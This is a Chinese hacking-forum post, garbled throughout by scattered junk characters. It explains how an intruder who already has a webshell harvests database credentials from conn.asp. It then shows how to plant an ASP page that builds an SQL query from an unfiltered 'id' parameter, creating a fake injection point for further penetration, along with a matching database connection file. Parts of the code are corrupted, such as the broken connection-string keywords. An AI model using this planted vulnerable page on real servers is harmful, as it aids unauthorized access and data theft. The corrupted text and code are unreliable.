自己构造注入点方便入侵
^$ S9 u p3 j( j
/ x0 [5 h& u% h* ]/ Z今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
! m# T9 Q! B$ @4 r& |
# @& } S& d$ T" F7 q" H% ~这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
2 E a% |$ b& ^4 m
% Y4 w0 V# q2 Z/ x# J7 @: g首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和, X% K% M; n0 E6 |
G' Y5 R9 m, l& f* c% F& \
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
0 |1 y# ^, E4 ~; ~& o6 W6 E
& B( p. ~) ^0 B- q- Q因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
" A1 p" p& Z5 w' c4 k; W, \, K2 Q& E! S. w' e) D7 I; ]3 L& d4 L
程序代码
3 K! J+ F- P6 k" W) C<!--#include file="xx.asp"-->2 n' t# ~& w7 L/ E- e) k$ j, d+ q3 B2 A
<%
9 q5 }* A8 f' D' C3 {* xset rs=server.createobject("ADODB.recordset"). ^5 K+ V: l( g
id = request("id")7 o* l( s5 j8 l' C
strSQL = "select * from admin where id=" & id6 |* I( J# G$ U. i. ?
rs.open strSQL,conn,1,3: j. ?) k$ X2 f, ~5 ~, C
rs.close. z9 r; `3 V; S( f6 o+ ]
%>, [( f- H0 k+ w& M+ w% K. a2 b! l
: }2 t: J6 O. h5 F把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
h. N- K, N. S# V; ~% V+ F: {6 X0 C% h8 v% u
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!% ~ D' J" C8 i2 b; n
* P( f% O* M. Q, Y$ V
然后就要构造一个连接数据库的文件了,代码如下:& M! D D6 B$ x' ]4 I+ E# Y0 Y1 D
程序代码
* Z% g6 n, T9 [8 a4 s<%
, E; L! m! c$ o' A0 SstrSQLServerName = "000.000.000.000" '服务器名称或地址& l _6 Q' N$ g& D
strSQLDBUserName = "sqlname" '数据库帐号7 Y: e, a0 x3 n
strSQLDBPassword = "sqlpass" '数据库密码
; r* q+ U5 R. Y3 ]/ ^& l. astrSQLDBName = "sqldataname" '数据库名称5 @$ i }2 ?7 @7 C8 A U8 n
Set conn = Server.CreateObject("ADODB.Connection")
; M2 m0 L8 v5 ^; k8 k9 |strCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"$ ~9 m0 K8 e/ {4 E* _
conn.open strCon. [7 F/ a- e6 _* p$ B
%>
! k; m( K1 w+ x* B- ?# ^
6 D5 q% p3 s* D这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,4 X- ]0 J. k6 G
, _4 Q% P! G3 V4 W
就这样,正常情况下,就OK了,伪造成功……8 G* F2 z( o8 b: }
% j" A$ `* E1 g8 O
如果有什么问题可以提出来大家一起探讨解决。 |